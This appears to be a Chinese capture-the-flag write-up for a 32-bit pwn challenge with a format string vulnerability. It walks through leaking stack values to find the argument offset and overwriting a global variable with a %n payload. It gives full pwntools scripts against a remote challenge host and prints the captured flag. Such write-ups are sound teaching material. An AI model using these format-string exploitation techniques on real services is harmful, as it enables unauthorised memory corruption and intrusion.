Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

image-20250519163352079

观察

使用IDA打开文件:

image-20250519163518339

注意到格式化字符串(Format String)漏洞的常见漏洞:

1
2
fgets(s, 100, stdin);
printf(s);

并注意到main函数里的逻辑,只要pwnme的值等于8我们即可得到flag。

找到pwnme的地址:

image-20250519163745338

1
0804A068

Exploit

首先发送这个Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

host = "61.147.171.105"
port = 59350

r = remote(host, port)

test_payload = b"AAAA" + 15*b",%x"
# 由于没有给后续的参数,所以程序会自动从Stack上按顺序读取15个值。

r.recvuntil("your name:")
r.sendline("A")

r.recvuntil("leave your message please:")
r.sendline(test_payload)
# r.sendline(payload)

r.interactive()

会看到以下内容:

1
2
3
4
hello A
your message is:
AAAA,ff91236e,f7f4a5a0,f0b5ff,ff91239e,1,c2,a4198fb,0,0,41414141,2c78252c,252c7825,78252c78,2c78252c,252c7825
Thank you!

可以发现第10个值41414141正是AAAA对应的ASCII码,这意味着我们的格式化字符串在栈中的偏移是第 10 个位置。(因为我们的输入是由fgets写入进s的,所以会和printf读取的位置有偏差。)

确定参数位置了之后我们便可以通过这个Payload修改pwnme的值了:

1
2
3
pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + b'aaaa%10$n'

首先填需要修改的数据的地址(因为是32-bit的程序,所以地址是32位,也就是4个Byte),由于我们希望将pwnme的值修改为8,所以我们还需要加4 Byte的padding,也就是4个”a”。

%10$n 的意思是从 第10个参数位置 取出一个地址,然后把已经打印出来的字符总数(4+4=8)写入那个地址。

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

host = "61.147.171.105"
port = 59350

pwnme_addr = 0x0804A068

r = remote(host, port)

# test_payload = b"AAAA" + 15*b",%x"

payload = p32(pwnme_addr) + b'aaaa%10$n'

r.recvuntil("your name:")
r.sendline("A")

r.recvuntil("leave your message please:")
# r.sendline(test_payload)
r.sendline(payload)

r.interactive()

# hello A
# your message is:
# haaaa
# you pwned me, here is your flag:

# cyberpeace{0a7cd9ddadcf7730d41928c9c3877ee8}